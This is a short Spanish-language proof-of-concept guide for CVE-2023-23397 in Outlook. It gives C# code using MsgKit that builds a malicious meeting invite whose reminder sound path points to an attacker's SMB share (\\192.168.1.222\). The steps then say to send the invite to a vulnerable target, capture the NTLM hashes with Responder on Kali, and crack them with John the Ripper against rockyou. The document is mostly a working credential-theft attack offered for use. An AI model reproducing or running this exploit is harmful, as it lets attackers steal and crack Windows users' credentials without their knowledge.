
CVE-2023-23397 PoC en C#
PoC de CVE-2023-23397 en C#
1- descargar el msgkit
2- editar la clase appointment y añadir lo siguiente:

3- crear una nueva clase dentro del proyecto para establecer las propiedades del archivo msg:
using MsgKit.Enums;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace MsgKit
{
class Program
{
static void Main(string[] args)
{
using (var appointment = new Appointment(
new Sender("[email protected]", "moneertv"),
new Representing("[email protected]", "moneertv"),
"CVE-2023-23397"))
{
appointment.Recipients.AddTo("[email protected]", "muneer aqraa");
appointment.Subject = "CVE-2023-23397";
appointment.Location = "Neverland";
appointment.MeetingStart = DateTime.Now.Date.AddDays(2).Date;
appointment.MeetingEnd = DateTime.Now.Date.AddDays(3).Date;
appointment.AllDay = true;
appointment.BodyText = "CVE-2023-23397";
appointment.BodyHtml = "<html><head></head><body><b>testing CVE-2023-23397</b></body></html>";
appointment.SentOn = DateTime.UtcNow;
appointment.Importance = MessageImportance.IMPORTANCE_NORMAL;
appointment.IconIndex = MessageIconIndex.UnsentMail;
appointment.PidLidReminderFileParameter = @"\\192.168.1.222\";
appointment.PidLidReminderOverride = true;
appointment.Save(@"C:\Users\Moneer\Desktop\exploits\CVE-2023-23397\MsgKit-master\generated email msg\dirty.msg");
}
}
}
}
4- cambiar las propiedades del proyecto para que el tipo de salida sea consola:

5- ejecutar el proyecto para generar el dirty.msg
6- enviar el mensaje a un objetivo vulnerable, y esperar hasta que se active el recordatorio de la reunión.
6-2- mientras esperas, en la máquina kali cuya IP hemos puesto en la clase principal, ejecuta el siguiente comando para seguir escuchando a cualquiera que haya picado el anzuelo: # responder -I eth0 -v
7- una vez que obtengas los hashes, guárdalos en un archivo y ejecuta john ripper sobre los hashes contra una lista de palabras (ej: rockyou)